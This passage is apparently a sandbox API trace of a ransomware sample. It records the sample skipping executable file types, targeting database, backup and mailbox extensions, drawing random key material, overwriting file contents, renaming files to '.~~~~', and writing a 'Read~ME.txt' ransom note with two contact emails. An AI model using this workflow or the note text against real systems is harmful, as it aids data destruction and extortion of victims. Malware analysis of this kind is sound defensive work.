	[0077.996] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.996] CloseHandle (hObject=0x134) returned 1
	[0077.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0077.997] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.~~~~")) returned 1
	[0077.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0077.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0077.997] GetLastError () returned 0x0
	[0077.998] RtlWakeConditionVariable () returned 0x365f70
	[0077.998] GetCurrentThreadId () returned 0x9f4
	[0077.998] GetCurrentThreadId () returned 0x9f4
	[0077.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a77b8
	[0077.998] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8728 | out: hHeap=0x300000) returned 1
	[0077.998] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9848 | out: hHeap=0x300000) returned 1
	[0077.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8728
	[0077.998] lstrlenW (lpString=".scr") returned 4
	[0077.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".scr") returned 0x0
	[0077.998] lstrlenW (lpString=".cmd") returned 4
	[0077.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".cmd") returned 0x0
	[0077.998] lstrlenW (lpString=".dll") returned 4
	[0077.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".dll") returned 0x0
	[0077.998] lstrlenW (lpString=".bat") returned 4
	[0077.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".bat") returned 0x0
	[0077.998] lstrlenW (lpString=".cpl") returned 4
	[0077.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".cpl") returned 0x0
	[0077.998] lstrlenW (lpString=".sys") returned 4
	[0077.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".sys") returned 0x0
	[0077.998] lstrlenW (lpString=".msc") returned 4
	[0077.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".msc") returned 0x0
	[0077.998] lstrlenW (lpString=".com") returned 4
	[0077.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".com") returned 0x0
	[0077.999] lstrlenW (lpString=".lnk") returned 4
	[0077.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".lnk") returned 0x0
	[0077.999] lstrlenW (lpString=".msp") returned 4
	[0077.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".msp") returned 0x0
	[0077.999] lstrlenW (lpString=".pif") returned 4
	[0077.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".pif") returned 0x0
	[0077.999] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch="msp\r\n.pif") returned 0x0
	[0077.999] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0078.000] lstrlenW (lpString=".sqb") returned 4
	[0078.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".sqb") returned 0x0
	[0078.000] lstrlenW (lpString=".ost") returned 4
	[0078.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".ost") returned 0x0
	[0078.000] lstrlenW (lpString=".txt") returned 4
	[0078.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".txt") returned 0x0
	[0078.000] lstrlenW (lpString=".mdt") returned 4
	[0078.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".mdt") returned 0x0
	[0078.000] lstrlenW (lpString=".BDB") returned 4
	[0078.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".BDB") returned 0x0
	[0078.000] lstrlenW (lpString=".eql") returned 4
	[0078.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".eql") returned 0x0
	[0078.000] lstrlenW (lpString=".DBF") returned 4
	[0078.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".DBF") returned 0x0
	[0078.000] lstrlenW (lpString=".EQL") returned 4
	[0078.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".EQL") returned 0x0
	[0078.000] lstrlenW (lpString=".FDB") returned 4
	[0078.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".FDB") returned 0x0
	[0078.000] lstrlenW (lpString=".EDB") returned 4
	[0078.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".EDB") returned 0x0
	[0078.000] lstrlenW (lpString=".DACPAC") returned 7
	[0078.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".DACPAC") returned 0x0
	[0078.000] lstrlenW (lpString=".VHD") returned 4
	[0078.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".VHD") returned 0x0
	[0078.000] lstrlenW (lpString=".DBV") returned 4
	[0078.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".DBV") returned 0x0
	[0078.001] lstrlenW (lpString=".dacpac") returned 7
	[0078.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".dacpac") returned 0x0
	[0078.001] lstrlenW (lpString=".sdf") returned 4
	[0078.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".sdf") returned 0x0
	[0078.001] lstrlenW (lpString=".accdb") returned 6
	[0078.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".accdb") returned 0x0
	[0078.001] lstrlenW (lpString=".DBX") returned 4
	[0078.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".DBX") returned 0x0
	[0078.001] lstrlenW (lpString=".MDT") returned 4
	[0078.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".MDT") returned 0x0
	[0078.001] lstrlenW (lpString=".SQB") returned 4
	[0078.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".SQB") returned 0x0
	[0078.001] lstrlenW (lpString=".vhd") returned 4
	[0078.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".vhd") returned 0x0
	[0078.001] lstrlenW (lpString=".bac") returned 4
	[0078.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".bac") returned 0x0
	[0078.001] lstrlenW (lpString=".mdf") returned 4
	[0078.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".mdf") returned 0x0
	[0078.001] lstrlenW (lpString=".BAK") returned 4
	[0078.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".BAK") returned 0x0
	[0078.001] lstrlenW (lpString=".BAC") returned 4
	[0078.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".BAC") returned 0x0
	[0078.001] lstrlenW (lpString=".dbs") returned 4
	[0078.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".dbs") returned 0x0
	[0078.001] lstrlenW (lpString=".vhdx") returned 5
	[0078.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".vhdx") returned 0x0
	[0078.002] lstrlenW (lpString=".NDF") returned 4
	[0078.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".NDF") returned 0x0
	[0078.002] lstrlenW (lpString=".dat") returned 4
	[0078.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".dat") returned 0x0
	[0078.002] lstrlenW (lpString=".DBS") returned 4
	[0078.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".DBS") returned 0x0
	[0078.002] lstrlenW (lpString=".CKP") returned 4
	[0078.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".CKP") returned 0x0
	[0078.002] lstrlenW (lpString=".edb") returned 4
	[0078.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".edb") returned 0x0
	[0078.002] lstrlenW (lpString=".PST") returned 4
	[0078.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".PST") returned 0x0
	[0078.002] lstrlenW (lpString=".dbf") returned 4
	[0078.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".dbf") returned 0x0
	[0078.002] lstrlenW (lpString=".SQL") returned 4
	[0078.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".SQL") returned 0x0
	[0078.002] lstrlenW (lpString=".pst") returned 4
	[0078.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".pst") returned 0x0
	[0078.002] lstrlenW (lpString=".dbv") returned 4
	[0078.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".dbv") returned 0x0
	[0078.002] lstrlenW (lpString=".SDF") returned 4
	[0078.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".SDF") returned 0x0
	[0078.002] lstrlenW (lpString=".dtxs") returned 5
	[0078.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".dtxs") returned 0x0
	[0078.003] lstrlenW (lpString=".db3") returned 4
	[0078.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".db3") returned 0x0
	[0078.003] lstrlenW (lpString=".OST") returned 4
	[0078.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".OST") returned 0x0
	[0078.003] lstrlenW (lpString=".dbx") returned 4
	[0078.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".dbx") returned 0x0
	[0078.003] lstrlenW (lpString=".DB3") returned 4
	[0078.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".DB3") returned 0x0
	[0078.003] lstrlenW (lpString=".DAT") returned 4
	[0078.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".DAT") returned 0x0
	[0078.003] lstrlenW (lpString=".VHDX") returned 5
	[0078.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".VHDX") returned 0x0
	[0078.003] lstrlenW (lpString=".ndf") returned 4
	[0078.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".ndf") returned 0x0
	[0078.003] lstrlenW (lpString=".DB") returned 3
	[0078.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".DB") returned 0x0
	[0078.003] lstrlenW (lpString=".sql") returned 4
	[0078.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".sql") returned 0x0
	[0078.003] lstrlenW (lpString=".MYD") returned 4
	[0078.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".MYD") returned 0x0
	[0078.003] lstrlenW (lpString=".DBT") returned 4
	[0078.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".DBT") returned 0x0
	[0078.003] lstrlenW (lpString=".ACCDB") returned 6
	[0078.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".ACCDB") returned 0x0
	[0078.004] lstrlenW (lpString=".fdb") returned 4
	[0078.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".fdb") returned 0x0
	[0078.004] lstrlenW (lpString=".bak") returned 4
	[0078.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".bak") returned 0x0
	[0078.004] lstrlenW (lpString=".myd") returned 4
	[0078.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".myd") returned 0x0
	[0078.004] lstrlenW (lpString=".DTXS") returned 5
	[0078.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".DTXS") returned 0x0
	[0078.004] lstrlenW (lpString=".ckp") returned 4
	[0078.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".ckp") returned 0x0
	[0078.004] lstrlenW (lpString=".dbt") returned 4
	[0078.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".dbt") returned 0x0
	[0078.004] lstrlenW (lpString=".db") returned 3
	[0078.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".db") returned 0x0
	[0078.004] lstrlenW (lpString=".TXT") returned 4
	[0078.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".TXT") returned 0x0
	[0078.004] lstrlenW (lpString=".MDF") returned 4
	[0078.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".MDF") returned 0x0
	[0078.004] lstrlenW (lpString=".bdb") returned 4
	[0078.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".bdb") returned 0x0
	[0078.004] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0078.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0078.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0078.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0078.005] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0078.006] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0078.006] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0078.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0078.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0078.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f2050
	[0078.006] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=19799622104) returned 1
	[0078.006] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9863ded0, dwHighDateTime=0x1d60e1e)) 
	[0078.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0078.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0078.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0078.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9848
	[0078.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0078.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9848 | out: hHeap=0x300000) returned 1
	[0078.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0078.007] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0078.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7450
	[0078.007] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0078.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8138
	[0078.007] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0078.007] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0078.007] GetLastError () returned 0x0
	[0078.007] GetLastError () returned 0x0
	[0078.007] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0078.007] GetLastError () returned 0x0
	[0078.007] GetLastError () returned 0x0
	[0078.007] ReadFile (in: hFile=0x134, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x25dfec0*=0x566, lpOverlapped=0x0) returned 1
	[0078.151] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffffa9a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0078.151] WriteFile (in: hFile=0x134, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x566, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x25dfec0*=0x566, lpOverlapped=0x0) returned 1
	[0078.151] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0078.164] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.164] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0078.164] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0078.164] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0078.165] CloseHandle (hObject=0x134) returned 1
	[0078.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8a20
	[0078.165] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.~~~~")) returned 1
	[0078.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8a20 | out: hHeap=0x300000) returned 1
	[0078.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0078.166] GetLastError () returned 0x0
	[0078.166] RtlWakeConditionVariable () returned 0x365f70
	[0078.166] GetCurrentThreadId () returned 0x9f4
	[0078.166] GetCurrentThreadId () returned 0x9f4
	[0078.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a77b8
	[0078.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8b50 | out: hHeap=0x300000) returned 1
	[0078.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a99d0 | out: hHeap=0x300000) returned 1
	[0078.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8b50
	[0078.166] lstrlenW (lpString=".scr") returned 4
	[0078.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll", lpSrch=".scr") returned 0x0
	[0078.166] lstrlenW (lpString=".cmd") returned 4
	[0078.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll", lpSrch=".cmd") returned 0x0
	[0078.166] lstrlenW (lpString=".dll") returned 4
	[0078.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll", lpSrch=".dll") returned=".dll"
	[0078.166] lstrlenW (lpString=".dll") returned 4
	[0078.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8b50 | out: hHeap=0x300000) returned 1
	[0078.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a77b8 | out: hHeap=0x300000) returned 1
	[0078.166] RtlWakeConditionVariable () returned 0x365f70
	[0078.166] GetCurrentThreadId () returned 0x9f4
	[0078.166] GetCurrentThreadId () returned 0x9f4
	[0078.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a77b8
	[0078.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8be8 | out: hHeap=0x300000) returned 1
	[0078.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9a08 | out: hHeap=0x300000) returned 1
	[0078.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8be8
	[0078.167] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0078.167] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.167] WriteFile (in: hFile=0x134, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.168] CloseHandle (hObject=0x134) returned 1
	[0078.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8be8 | out: hHeap=0x300000) returned 1
	[0078.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a77b8 | out: hHeap=0x300000) returned 1
	[0078.169] RtlWakeConditionVariable () returned 0x365f70
	[0078.169] GetCurrentThreadId () returned 0x9f4
	[0078.169] GetCurrentThreadId () returned 0x9f4
	[0078.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a77b8
	[0078.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8c80 | out: hHeap=0x300000) returned 1
